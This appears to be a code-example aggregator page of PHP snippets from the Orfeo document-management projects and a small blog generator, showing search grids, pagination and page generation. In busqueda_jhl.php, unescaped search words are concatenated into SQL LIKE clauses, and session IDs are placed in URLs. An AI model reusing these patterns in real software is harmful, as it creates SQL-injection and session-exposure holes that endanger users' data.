            $iStartPage = $iPage - $iNumberOfPages + intval($iNumberOfPages / 2);
        }
        if ($iStartPage < 0) {
            $iStartPage = 0;
        }
        for ($iPageCount = $iPageCount + 1; $iPageCount <= $iPage - 1; $iPageCount++) {
            $sPages .= "<a href=" . $sFileName . "?" . $form_params . $sSortParams . "FormOEMPRESAS_Page=" . $iPageCount . "#RADICADO\"><font " . "class=\"ColumnFONT\"" . ">" . $iPageCount . "</font></a>&nbsp;";
            $iDisplayPages++;
        }
        $sPages .= "<font " . "class=\"ColumnFONT\"" . "><b>" . $iPage . "</b></font>&nbsp;";
        $iDisplayPages++;
        $iPageCount = $iPage + 1;
        while ($iDisplayPages < $iNumberOfPages && $iStartPage + $iDisplayPages < $iHasPages) {
            $sPages .= "<a href=\"" . $sFileName . "?" . $form_params . $sSortParams . "FormOEMPRESAS_Page=" . $iPageCount . "#RADICADO\"><font " . "class=\"ColumnFONT\"" . ">" . $iPageCount . "</font></a>&nbsp;";
            $iDisplayPages++;
            $iPageCount++;
        }
        if ($iPage == 1) {
            ?>
        <font class="ColumnFONT">Primero</font>
        <font class="ColumnFONT">Anterior</font>
<?php 
        } else {
            ?>
        <a href="<?php 
            echo $sFileName;
            ?>
?<?php 
            echo $form_params;
            echo $sSortParams;
            ?>
FormOEMPRESAS_Page=1#RADICADO"><font class="ColumnFONT">Primero</font></a>
        <a href="<?php 
            echo $sFileName;
            ?>
?<?php 
            echo $form_params;
            echo $sSortParams;
            ?>
FormOEMPRESAS_Page=<?php 
            echo $iPage - 1;
            ?>
#RADICADO"><font class="ColumnFONT">Anterior</font></a>
<?php 
        }
        echo "&nbsp;[&nbsp;" . $sPages . "]&nbsp;";
        if (!$bEof) {
            ?>
        <font class="ColumnFONT">Siguiente</font>
        <font class="ColumnFONT">Ultimo</font>
<?php 
        } else {
            ?>
        <a href="<?php 
            echo $sFileName;
            ?>
?<?php 
            echo $form_params;
            echo $sSortParams;
            ?>
FormOEMPRESAS_Page=<?php 
            echo $iPage + 1;
            ?>
#RADICADO"><font class="ColumnFONT">Siguiente</font></a>
        <a href="<?php 
            echo $sFileName;
            ?>
?<?php 
            echo $form_params;
            echo $sSortParams;
            ?>
FormOEMPRESAS_Page=last#RADICADO"><font class="ColumnFONT">Ultimo</font></a>
<?php 
        }
    }
    //-------------------------------
    // Navigation end
    //-------------------------------
    ?>
      </font></td></tr>
    </table>
  <?php 
}

示例#4

文件： formEnvio.php 项目： johnfelipe/orfeo

        //Une en un solo campo los expedientes
        if ($y != 0) {
            include "cuerpoTabla.inc";
        }
        // Fila de la tabla con los resultados
        include "getRtaSQLAnt.inc";
        $y++;
    } else {
        if ($antfldEXP != "") {
            $antfldEXP .= "<br>";
            $antfldARCH .= "<br>";
        }
        $antfldEXP .= $fldEXP;
        if ($fldARCH == 'SI') {
            $encabARCH = session_name() . "=" . session_id() . "&buscar_exp=" . tourl($fldEXP) . "&krd={$krd}&tipo_archivo=&nomcarpeta=";
            $antfldARCH .= "<a href='" . $ruta_raiz . "/expediente/datos_expediente.php?" . $encabARCH . "&num_expediente=" . tourl($fldEXP) . "&nurad=" . tourl($antfldRADICADO) . "' class='vinculos'>" . $fldARCH . "</a>";
        } else {
            $antfldARCH .= $fldARCH;
        }
    }
    $rs->MoveNext();
}
if ($y != 0) {
    include "cuerpoTabla.inc";
    // Fila de la tabla con lso resultados
    $y++;
}
$iCounter = $y - 1;
//cantidad de registros
?>
                                  <tr class="titulos5" align="center">		 

示例#5

文件： busqueda_jhl.php 项目： BackupTheBerlios/comeet-svn

function RADICADO_show()
{
    //-------------------------------
    // Initialize variables
    //-------------------------------
    global $db;
    global $sRADICADOErr;
    global $sFileName;
    global $styles;
    $sWhere = "";
    $sOrder = "";
    $sSQL = "";
    $sFormTitle = "Radicados";
    $HasParam = false;
    $iRecordsPerPage = 50;
    $iCounter = 0;
    $iPage = 0;
    $bEof = false;
    $iSort = "";
    $iSorted = "";
    $sDirection = "";
    $sSortParams = "";
    $iTmpI = 0;
    $iTmpJ = 0;
    $sCountSQL = "";
    $transit_params = "";
    $form_params = trim(session_name()) . "=" . trim(session_id()) . "&s_RADI_DEPE_ACTU=" . tourl(get_param("s_RADI_DEPE_ACTU")) . "&s_RADI_NOMB=" . tourl(get_param("s_RADI_NOMB")) . "&s_RADI_NUME_RADI=" . tourl(get_param("s_RADI_NUME_RADI")) . "&s_TDOC_CODI=" . tourl(get_param("s_TDOC_CODI")) . "&s_desde_dia=" . tourl(get_param("s_desde_dia")) . "&s_desde_mes=" . tourl(get_param("s_desde_mes")) . "&s_desde_ano=" . tourl(get_param("s_desde_ano")) . "&s_hasta_dia=" . tourl(get_param("s_hasta_dia")) . "&s_hasta_mes=" . tourl(get_param("s_hasta_mes")) . "&s_hasta_ano=" . tourl(get_param("s_hasta_ano")) . "&s_solo_nomb=" . tourl(get_param("s_solo_nomb")) . "&";
    //-------------------------------
    // Build ORDER BY statement
    //-------------------------------
    $sOrder = " order by R_RADI_NUME_RADI Asc";
    $iSort = get_param("FormRADICADO_Sorting");
    $iSorted = get_param("FormRADICADO_Sorted");
    if (!$iSort) {
        $form_sorting = "";
    } else {
        if ($iSort == $iSorted) {
            $form_sorting = "";
            $sDirection = " DESC";
            $sSortParams = "FormRADICADO_Sorting=" . $iSort . "&FormRADICADO_Sorted=" . $iSort . "&";
        } else {
            $form_sorting = $iSort;
            $sDirection = " ASC";
            $sSortParams = "FormRADICADO_Sorting=" . $iSort . "&FormRADICADO_Sorted=" . "&";
        }
        if ($iSort == 1) {
            $sOrder = " order by R_RADI_NUME_RADI" . $sDirection;
        }
        if ($iSort == 2) {
            $sOrder = " order by R_RADI_FECH_RADI" . $sDirection;
        }
        if ($iSort == 3) {
            $sOrder = " order by R_RADI_NOMB" . $sDirection;
        }
        if ($iSort == 4) {
            $sOrder = " order by RADI_NOMB " . $sDirection;
        }
        if ($iSort == 5) {
            $sOrder = " order by radi_path" . $sDirection;
        }
        if ($iSort == 6) {
            $sOrder = " order by RADI_NUME_IDEN" . $sDirection;
        }
        if ($iSort == 7) {
            $sOrder = " order by TDOC_DESC" . $sDirection;
        }
        if ($iSort == 8) {
            $sOrder = " order by DPTO_NOMB" . $sDirection;
        }
        if ($iSort == 9) {
            $sOrder = " order by DIASR" . $sDirection;
        }
        if ($iSort == 10) {
            $sOrder = " order by MUNI_NOMB" . $sDirection;
        }
    }
    //-------------------------------
    // Encabezados HTML de las Columnas
    //-------------------------------
    ?>
     <table width="1500" class="FormTABLE">
      <tr>
       <td class="FormHeaderTD" colspan="10"><a name="RADICADO"><font class="FormHeaderFONT"><?php 
    echo $sFormTitle;
    ?>
</font></a></td>
      </tr>
      <tr>
       <td class="ColumnTD"><font class="ColumnFONT">#</font></td>	  
       <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormRADICADO_Sorting=1&FormRADICADO_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Radicado</font></a></td>
       <td width="55" class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormRADICADO_Sorting=2&FormRADICADO_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Fecha Radicación</font></a></td>
       <td width="360" class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormRADICADO_Sorting=3&FormRADICADO_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">ESP</font></a></td>
       <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormRADICADO_Sorting=6&FormRADICADO_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Nombre</font></a></td>	   
       <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormRADICADO_Sorting=6&FormRADICADO_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Identificacion</font></a></td>
       <td width="150" class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormRADICADO_Sorting=7&FormRADICADO_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Tipo Documento</font></a></td>
       <td width="150" class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormRADICADO_Sorting=4&FormRADICADO_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Usuario Actual</font></a></td>
       <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormRADICADO_Sorting=5&FormRADICADO_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Imagen</font></a></td>
	   <td width="100" class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormRADICADO_Sorting=8&FormRADICADO_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Departamento</font></a></td>
	   <td width="100" class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormRADICADO_Sorting=10&FormRADICADO_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Municipio</font></a></td>
  	   <td class="ColumnTD"><a href="<?php 
    echo $sFileName;
    ?>
?<?php 
    echo $form_params;
    ?>
FormRADICADO_Sorting=9&FormRADICADO_Sorted=<?php 
    echo $form_sorting;
    ?>
&"><font class="ColumnFONT">Dias Restantes</font></a></td>
      </tr>
<?php 
    //-------------------------------
    // Build WHERE statement
    //-------------------------------
    // Se crea la $ps_desde_RADI_FECH_RADI con los datos ingresados.
    //------------------------------------
    $ps_desde_RADI_FECH_RADI = Date('d/m/Y H:i:s', mktime(0, 0, 0, get_param("s_desde_mes"), get_param("s_desde_dia"), get_param("s_desde_ano")));
    if (strlen($ps_desde_RADI_FECH_RADI)) {
        $HasParam = true;
        $sWhere = $sWhere . "a.RADI_FECH_RADI>=to_date('" . $ps_desde_RADI_FECH_RADI . "','dd/mm/yyyy hh24:mi:ss')";
    }
    //-----------------------
    // Se reciben
    //-----------------------
    $ps_hasta_RADI_FECH_RADI = Date('d/m/Y H:i:s', mktime(23, 59, 59, get_param("s_hasta_mes"), get_param("s_hasta_dia"), get_param("s_hasta_ano")));
    if (strlen($ps_hasta_RADI_FECH_RADI)) {
        if ($sWhere != "") {
            $sWhere .= " and ";
        }
        $HasParam = true;
        $sWhere = $sWhere . "a.RADI_FECH_RADI<=to_date('" . $ps_hasta_RADI_FECH_RADI . "','dd/mm/yyyy hh24:mi:ss')";
    }
    /* Se recibe la dependencia actual para búsqueda */
    $ps_RADI_DEPE_ACTU = get_param("s_RADI_DEPE_ACTU");
    if (is_number($ps_RADI_DEPE_ACTU) && strlen($ps_RADI_DEPE_ACTU)) {
        $ps_RADI_DEPE_ACTU = tosql($ps_RADI_DEPE_ACTU, "Number");
    } else {
        $ps_RADI_DEPE_ACTU = "";
    }
    if (strlen($ps_RADI_DEPE_ACTU)) {
        if ($sWhere != "") {
            $sWhere .= " and ";
        }
        $HasParam = true;
        $sWhere = $sWhere . "a.RADI_DEPE_ACTU=" . $ps_RADI_DEPE_ACTU;
    }
    /* Se recibe el número del radicado para búsqueda */
    $ps_RADI_NUME_RADI = get_param("s_RADI_NUME_RADI");
    if (strlen($ps_RADI_NUME_RADI)) {
        if ($sWhere != "") {
            $sWhere .= " and ";
        }
        $HasParam = true;
        $sWhere = $sWhere . "a.RADI_NUME_RADI like " . tosql("%" . $ps_RADI_NUME_RADI . "%", "Text");
    }
    /* Se recibe el tipo de documento para la búsqueda */
    $ps_TDOC_CODI = get_param("s_TDOC_CODI");
    if (is_number($ps_TDOC_CODI) && strlen($ps_TDOC_CODI) && $ps_TDOC_CODI != "9999") {
        $ps_TDOC_CODI = tosql($ps_TDOC_CODI, "Number");
    } else {
        $ps_TDOC_CODI = "";
    }
    if (strlen($ps_TDOC_CODI)) {
        if ($sWhere != "") {
            $sWhere .= " and ";
        }
        $HasParam = true;
        $sWhere = $sWhere . "b.SGD_TPR_CODIGO=" . $ps_TDOC_CODI;
    }
    /*
    // Aca se recibe el texto para busqueda de texto. Se tokeniza y se busca por cada 
    // uno de las palabras individuales por AND. 
    // s_solo_nomb toma los siguientes valores: 
    // "Texto" - si hay que buscar en todo lado
    // "Nombre" - si hay que buscar solo en el nombre (radi_nomb antiguamente)
    // s_RADI_NOMB trae el parametro para busqueda, puede ser una cadena separada por espacios
    */
    $ps_RADI_NOMB = get_param("s_RADI_NOMB");
    $ps_solo_nomb = get_param("s_solo_nomb");
    $array_nombre = split(" ", strip(get_param("s_RADI_NOMB")) . "    ");
    $where_split = "";
    if (strip(get_param("s_RADI_NOMB"))) {
        if ($array_nombre[0]) {
            $where_split = " and CONCAT(CONCAT(d.sgd_ciu_nombre,d.sgd_ciu_apell1),d.sgd_ciu_apell2) LIKE '%" . $array_nombre[0] . "%' ";
        }
        if ($array_nombre[1]) {
            $where_split .= " and  CONCAT(CONCAT(d.sgd_ciu_nombre,d.sgd_ciu_apell1),d.sgd_ciu_apell2) LIKE '%" . $array_nombre[1] . "%' ";
        }
        if ($array_nombre[2]) {
            $where_split .= " and CONCAT(CONCAT(d.sgd_ciu_nombre,d.sgd_ciu_apell1),d.sgd_ciu_apell2) LIKE '%" . $array_nombre[2] . "%' ";
        }
        if ($array_nombre[3]) {
            $where_split .= " and CONCAT(CONCAT(d.sgd_ciu_nombre,d.sgd_ciu_apell1),d.sgd_ciu_apell2) LIKE '%" . $array_nombre[3] . "%' ";
        }
    }
    if ($HasParam) {
        $sWhere = " WHERE  a.radi_nume_radi =d.radi_nume_radi (+) and  a.tdoc_codi=b.sgd_tpr_codigo and a.tdoc_codi=b.sgd_tpr_codigo  AND (" . $sWhere . ")  {$where_split} ";
    }
    //-------------------------------
    // Build base SQL statement
    //-------------------------------
    $campos_ver = "a.RADI_NUME_HOJA\n\t   \t\t\t ,a.RADI_FECH_RADI as R_RADI_FECH_RADI\n\t\t\t\t ,a.RADI_NUME_RADI  as R_RADI_NUME_RADI\n\t\t\t\t ,a.RA_ASUN as R_RADI_ASUN\n\t\t\t\t ,a.RADI_PATH R_RADI_PATH\n\t\t\t\t ,a.RADI_USU_ANTE\n\t\t\t\t ,c.NOMBRE_DE_LA_EMPRESA as R_RADI_NOMB\n\t\t\t\t ,TO_CHAR(a.RADI_FECH_RADI,'DD/MM/YY   HH:MIam') AS FECHA\n\t\t\t\t ,b.sgd_tpr_descrip  as R_TDOC_DESC \n\t\t\t\t ,b.sgd_tpr_codigo\n\t\t\t\t ,b.sgd_tpr_termino,round(((radi_fech_radi+(b.sgd_tpr_termino * 7/5))-sysdate)) as diasr\n\t\t\t\t ,RADI_LEIDO\n\t\t\t\t ,RADI_TIPO_DERI\n\t\t\t\t ,RADI_NUME_DERI \n\t\t\t\t ,d.SGD_CIU_NOMBRE,d.SGD_CIU_APELL1,d.SGD_CIU_APELL2";
    $isql = "select \n\t   \t\t\t{$campos_ver}\n\t\t\t\tfrom radicado a,sgd_tpr_tpdcumento b,bodega_empresas c,\n\t\t\t\t( \n\t\t\t\t SELECT DISTINCT b.sgd_ciu_cedula,a.radi_nume_radi,b.sgd_ciu_nombre,b.sgd_ciu_apell1,b.sgd_ciu_apell2,b.sgd_ciu_codigo\n\t\t\t\t FROM SGD_DIR_DRECCIONES a,SGD_CIU_CIUDADANO b\n\t\t\t\t WHERE b.sgd_ciu_codigo  =a.sgd_ciu_codigo \n\t\t\t\t) d\n\t\t\t\t{$sWhere}\n\t\t\t\t and c.IDENTIFICADOR_EMPRESA  =  a.eesp_codi\n\t\t\t\t\n\t\t\t\t";
    $isql .= "union all \n\t            select a.RADI_NUME_HOJA,a.RADI_FECH_RADI,a.RADI_NUME_RADI,a.RA_ASUN,a.RADI_PATH,\n\t             a.RADI_USU_ANTE,'No tiene' AS NOMBRES,\n\t\t\t\t TO_CHAR(a.RADI_FECH_RADI,'DD/MM/YY   HH:MIam') AS FECHA,b.sgd_tpr_descrip,b.sgd_tpr_codigo,\n\t\t\t\t b.sgd_tpr_termino,round(((radi_fech_radi+(b.sgd_tpr_termino * 7/5))-sysdate)) as diasr,\n\t\t\t\t RADI_LEIDO,RADI_TIPO_DERI,RADI_NUME_DERI ,d.SGD_CIU_NOMBRE,d.SGD_CIU_APELL1,d.SGD_CIU_APELL2\n\t\t\t\tfrom radicado a,sgd_tpr_tpdcumento b ,\n\t\t\t\t( \n\t\t\t\t SELECT DISTINCT b.sgd_ciu_cedula,a.radi_nume_radi,b.SGD_CIU_NOMBRE,b.SGD_CIU_APELL1,b.SGD_CIU_APELL2,b.sgd_ciu_codigo\n\t\t\t\t FROM SGD_DIR_DRECCIONES a,SGD_CIU_CIUDADANO b\n\t\t\t\t WHERE b.sgd_ciu_codigo  =a.sgd_ciu_codigo \n\t\t\t\t) d\n\t\t\t\t{$sWhere}\n\t\t\t\tand a.eesp_codi=0 \t\t\t\t\n\t\t\t\t{$sOrder} ";
    $sSQL = $isql;
    //-------------------------------
    //-------------------------------
    // RADICADO Open Event begin
    // Busqueda por nivel
    /*
    $nivel = get_session("Nivel");
    if($sWhere != "") 
      $sWhere .= " and ";
    else 
      $sWhere = " where ";
    $sWhere = $sWhere . " R.CODI_NIVEL<=".$nivel ." AND R.RADI_USUA_ACTU=U.USUA_CODI AND R.RADI_DEPE_ACTU=U.DEPE_CODI ";
    */
    // Contador
    /*$sSQLCount = "Select count(*) as Total from radicado R, USUARIO U, departamento D,TIPO_DOCUMENTO B, MUNICIPIO M  " . $sWhere;
    */
    $sSQLCount1 = "select \n\t   \t\t\tcount(*) as TOTAL\n\t\t\t\tfrom radicado a,sgd_tpr_tpdcumento b,\n\t\t\t\tbodega_empresas c,\n\t\t\t\t( \n\t\t\t\t SELECT DISTINCT b.sgd_ciu_cedula,a.radi_nume_radi,b.sgd_ciu_nombre,b.sgd_ciu_apell1,b.sgd_ciu_apell2,b.sgd_ciu_codigo\n\t\t\t\t FROM SGD_DIR_DRECCIONES a,SGD_CIU_CIUDADANO b\n\t\t\t\t WHERE b.sgd_ciu_codigo=a.sgd_ciu_codigo\n\t\t\t\t) d\n\t\t\t\t{$sWhere} \n\t\t\t\t and c.IDENTIFICADOR_EMPRESA  =  a.eesp_codi";
    $sSQLCount2 = "select \n\t   \t\t\tcount(*) as TOTAL\n\t\t\t\tfrom radicado a,sgd_tpr_tpdcumento b,\n\t\t\t\t( \n\t\t\t\t SELECT DISTINCT b.sgd_ciu_cedula,a.radi_nume_radi,b.sgd_ciu_nombre,b.sgd_ciu_apell1,b.sgd_ciu_apell2,b.sgd_ciu_codigo\n\t\t\t\t FROM SGD_DIR_DRECCIONES a,SGD_CIU_CIUDADANO b\n\t\t\t\t WHERE b.sgd_ciu_codigo=a.sgd_ciu_codigo\n\t\t\t\t) d\n\t\t\t\t{$sWhere} \n\t\t\t\t and a.eesp_codi = 0\n\t\t\t\t";
    //  echo "$sSQLCount1<br><br>";
    //  echo "$sSQLCount2<br><br>";
    //  echo "$sSQL";
    /*
    $db->query($sSQLCount1);
    $next_record = $db->next_record();
    $fldTotal1 = $db->f("TOTAL"); 
    
    $db->query($sSQLCount2);
    $next_record = $db->next_record();
    $fldTotal2 = $db->f("TOTAL"); 
    
    $fldTotal = $fldTotal1 + $fldTotal2; 
    */
    // RADICADO Open Event end
    //-------------------------------
    //-------------------------------
    // Assemble full SQL statement
    //-------------------------------
    //-------------------------------
    // Execute SQL statement
    //-------------------------------
    $db->query($sSQL);
    $next_record = $db->next_record();
    //-------------------------------
    // Process empty recordset
    //-------------------------------
    if (!$next_record) {
        ?>
     <tr>
      <td colspan="10" class="DataTD"><font class="DataFONT">No hay resultados</font></td>
     </tr>
<?php 
        //-------------------------------
        //  The insert link.
        //-------------------------------
        ?>
    <tr>
     <td colspan="10" class="ColumnTD"><font class="ColumnFONT">
<?php 
        ?>
  </table>
<?php 
        return;
    }
    //-------------------------------
    ?>
     <!--tr>
      <td colspan="10" class="DataTD"><font class="DataFONT"><b>Total Registros Encontrados: <?php 
    echo $fldTotal;
    ?>
</b></font></td>
     </tr-->

<?php 
    //-------------------------------
    // Initialize page counter and records per page
    //-------------------------------
    $iRecordsPerPage = 20;
    $iCounter = 0;
    //-------------------------------
    //-------------------------------
    // Process page scroller
    //-------------------------------
    $iPage = get_param("FormRADICADO_Page");
    if (!strlen($iPage)) {
        $iPage = 1;
    } else {
        if ($iPage == "last") {
            $db_count = get_db_value($sCountSQL);
            $dResult = intval($db_count) / $iRecordsPerPage;
            $iPage = intval($dResult);
            if ($iPage < $dResult) {
                $iPage++;
            }
        } else {
            $iPage = intval($iPage);
        }
    }
    if (($iPage - 1) * $iRecordsPerPage != 0) {
        do {
            $iCounter++;
        } while ($iCounter < ($iPage - 1) * $iRecordsPerPage && $db->next_record());
        $next_record = $db->next_record();
    }
    $iCounter = 0;
    //-------------------------------
    //-------------------------------
    // Display grid based on recordset
    //-------------------------------.
    while ($next_record && $iCounter < $iRecordsPerPage) {
        //-------------------------------
        // Create field variables based on database fields
        //-------------------------------
        $fldRADI_FECH_RADI = $db->f("R_RADI_FECH_RADI");
        $fldRADI_NOMB = $db->f("R_RADI_NOMB");
        $fldRADI_NUME_IDEN = $db->f("R_RADI_NUME_IDEN");
        $fldRADI_NUME_RADI_URLLink = "detalle.php";
        $fldRADI_NUME_RADI_s_RADI_NUME_RADI = $db->f("R_RADI_NUME_RADI");
        $fldRADI_NUME_RADI = $db->f("R_RADI_NUME_RADI");
        $fldRADI_PRIM_APEL = $db->f("R_RADI_PRIM_APEL");
        $fldRADI_SEGU_APEL = $db->f("R_RADI_SEGU_APEL");
        $fldRADI_USUA_ACTU = $db->f("R_RADI_USUA_ACTU");
        $fldRADI_USUA_NOMBRE = $db->f("SGD_CIU_APELL1") . " " . $db->f("SGD_CIU_APELL2") . " " . $db->f("SGD_CIU_NOMBRE");
        $fldRADI_PATH = $db->f("R_RADI_PATH");
        $fldRADI_TDOC_DESC = $db->f("R_TDOC_DESC");
        $fldMUNI_NOMB = $db->f("M_MUNI_NOMB");
        $fldRADI_PATH1 = $db->f("R_RADI_PATH");
        $fldDPTO_CODI = $db->f("R_DPTO_CODI");
        $fldDPTO_NOMB = $db->f("D_DPTO_NOMB");
        $fldDIASR = $db->f("DIASR");
        $fldRADI_DEPE_ACTU = $db->f("RADI_DEPE_ACTU");
        $next_record = $db->next_record();
        //-------------------------------
        // RADICADO Show begin
        //-------------------------------
        //-------------------------------
        /* RADICADO Show Event begin
        */
        if (strlen($fldRADI_PATH)) {
            $iii = $iii + 1;
            $fldRADI_PATH = "<a href='../bodega{$fldRADI_PATH1}' target='Imagen{$iii}'>Si</a>";
        } else {
            $fldRADI_PATH = "No";
        }
        // RADICADO Show Event end
        //-------------------------------
        //-------------------------------
        // Process the HTML controls
        //-------------------------------
        ?>
      <tr>
       <td class="DataTD"><font class="DataFONT"><?php 
        echo $iCounter + 1 + ($iPage - 1) * $iRecordsPerPage;
        ?>
</td> 
       <td class="DataTD"><font class="DataFONT"> <a href="<?php 
        echo $fldRADI_NUME_RADI_URLLink;
        ?>
?s_RADI_NUME_RADI=<?php 
        echo $fldRADI_NUME_RADI_s_RADI_NUME_RADI;
        ?>
&"><font class="DataFONT"><?php 
        echo $fldRADI_NUME_RADI;
        ?>
</font></a>&nbsp;</font></td>
       <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldRADI_FECH_RADI);
        ?>
&nbsp;</font></td>
       <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldRADI_NOMB);
        ?>
&nbsp;</font></td>
       <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldRADI_USUA_NOMBRE);
        ?>
&nbsp;</font></td>
       <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldRADI_NUME_IDEN);
        ?>
&nbsp;</font></td>
       <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldRADI_TDOC_DESC);
        ?>
&nbsp;</font></td>
       <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldRADI_USUA_ACTU);
        ?>
&nbsp;</font></td>
       <td class="DataTD"><font class="DataFONT">
      <?php 
        echo $fldRADI_PATH;
        ?>
&nbsp;</font></td>
       <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldDPTO_NOMB);
        ?>
&nbsp;</font></td>	  
       <td class="DataTD"><font class="DataFONT">
      <?php 
        echo tohtml($fldMUNI_NOMB);
        ?>
&nbsp;</font></td>	  
      <td class="DataTD"><font class="DataFONT">
      <?php 
        if ($fldRADI_DEPE_ACTU != 999) {
            echo tohtml($fldDIASR);
        } else {
            echo "Sal";
        }
        ?>
&nbsp;</font></td>	  
      </tr>


	  
	  <?php 
        //-------------------------------
        // RADICADO Show end
        //-------------------------------
        //-------------------------------
        // Move to the next record and increase record counter
        //-------------------------------
        $iCounter++;
    }
    //-------------------------------
    //  Grid. The insert link and record navigator.
    //-------------------------------
    ?>
    <tr>
     <td colspan="10" class="ColumnTD"><font class="ColumnFONT">
<?php 
    // RADICADO Navigation begin
    $bEof = $next_record;
    if ($bEof || $iPage != 1) {
        $iCounter = 1;
        $iHasPages = $iPage;
        $sPages = "";
        $iDisplayPages = 0;
        $iNumberOfPages = 30;
        /* El número de páginas que aparecerán en el navegador al pie de la página */
        while ($next_record && $iHasPages < $iPage + $iNumberOfPages) {
            if ($iCounter == $iRecordsPerPage) {
                $iCounter = 0;
                $iHasPages = $iHasPages + 1;
            }
            $iCounter++;
            $next_record = $db->next_record();
        }
        if (!$next_record && $iCounter > 1) {
            $iHasPages++;
        }
        if ($iHasPages - $iPage < intval($iNumberOfPages / 2)) {
            $iStartPage = $iHasPages - $iNumberOfPages;
        } else {
            $iStartPage = $iPage - $iNumberOfPages + intval($iNumberOfPages / 2);
        }
        if ($iStartPage < 0) {
            $iStartPage = 0;
        }
        for ($iPageCount = $iPageCount + 1; $iPageCount <= $iPage - 1; $iPageCount++) {
            $sPages .= "<a href=" . $sFileName . "?" . $form_params . $sSortParams . "FormRADICADO_Page=" . $iPageCount . "#RADICADO\"><font " . "class=\"ColumnFONT\"" . ">" . $iPageCount . "</font></a>&nbsp;";
            $iDisplayPages++;
        }
        $sPages .= "<font " . "class=\"ColumnFONT\"" . "><b>" . $iPage . "</b></font>&nbsp;";
        $iDisplayPages++;
        $iPageCount = $iPage + 1;
        while ($iDisplayPages < $iNumberOfPages && $iStartPage + $iDisplayPages < $iHasPages) {
            $sPages .= "<a href=\"" . $sFileName . "?" . $form_params . $sSortParams . "FormRADICADO_Page=" . $iPageCount . "#RADICADO\"><font " . "class=\"ColumnFONT\"" . ">" . $iPageCount . "</font></a>&nbsp;";
            $iDisplayPages++;
            $iPageCount++;
        }
        if ($iPage == 1) {
            ?>
        <font class="ColumnFONT">Primero</font>
        <font class="ColumnFONT">Anterior</font>
<?php 
        } else {
            ?>
        <a href="<?php 
            echo $sFileName;
            ?>
?<?php 
            echo $form_params;
            echo $sSortParams;
            ?>
FormRADICADO_Page=1#RADICADO"><font class="ColumnFONT">Primero</font></a>
        <a href="<?php 
            echo $sFileName;
            ?>
?<?php 
            echo $form_params;
            echo $sSortParams;
            ?>
FormRADICADO_Page=<?php 
            echo $iPage - 1;
            ?>
#RADICADO"><font class="ColumnFONT">Anterior</font></a>
<?php 
        }
        echo "&nbsp;[&nbsp;" . $sPages . "]&nbsp;";
        if (!$bEof) {
            ?>
        <font class="ColumnFONT">Siguiente</font>
        <font class="ColumnFONT">Ultimo</font>
<?php 
        } else {
            ?>
        <a href="<?php 
            echo $sFileName;
            ?>
?<?php 
            echo $form_params;
            echo $sSortParams;
            ?>
FormRADICADO_Page=<?php 
            echo $iPage + 1;
            ?>
#RADICADO"><font class="ColumnFONT">Siguiente</font></a>
        <a href="<?php 
            echo $sFileName;
            ?>
?<?php 
            echo $form_params;
            echo $sSortParams;
            ?>
FormRADICADO_Page=last#RADICADO"><font class="ColumnFONT">Ultimo</font></a>
<?php 
        }
    }
    //-------------------------------
    // RADICADO Navigation end
    //-------------------------------
    //-------------------------------
    // Finish form processing
    //-------------------------------
    ?>
      </font></td></tr>
    </table>
  <?php 
    //-------------------------------
    // RADICADO Close Event begin
    // RADICADO Close Event end
    //-------------------------------
}

示例#6

文件： generate.php 项目： sg-first/YMmd-Blog

	if($filetype==='md')
	{WriteFile(dirname(__FILE__).'/journal/'.$file,dirname(__FILE__).'/journal/'.$filearr[0].'.htm');} //把md文件对应的htm生成出来
}
$mydir->close();
$mydir = dir(dirname(__FILE__).'/journal/');
//下面开始主页生成部分
@unlink(dirname(__FILE__).'/index.htm');
$index="";
while($file = $mydir->read())
{
    global $index;
    //提取后缀名
    $filearr = explode(".",$file); //注意，file是路径
    $filetype = end($filearr);
    //操作后缀名是htm的
    if($filetype==='htm')
    {
        $text=file_get_contents(dirname(__FILE__).'/journal/'.$file);
        $title=getTitle($text);
        $code=herf($title,dirname(__FILE__).'/journal/'.$file);
        $index=$index.$code."<br>";
    }
}
$mydir->close();
$file = fopen(dirname(__FILE__).'/index.htm', "a") or die("Unable to open file!");
fwrite($file, $index);
fclose($file);

alert("日志已经更新完成");
tourl('index.htm');

示例#7

文件： devolucion.php 项目： BackupTheBerlios/comeet-svn

function PRESTAMO_show()
{
    //-------------------------------
    // Initialize variables
    //-------------------------------
    global $db;
    global $sPRESTAMOErr;
    global $sFileName;
    global $styles;
    $sWhere = "";
    $sOrder = "";
    $sSQL = "";
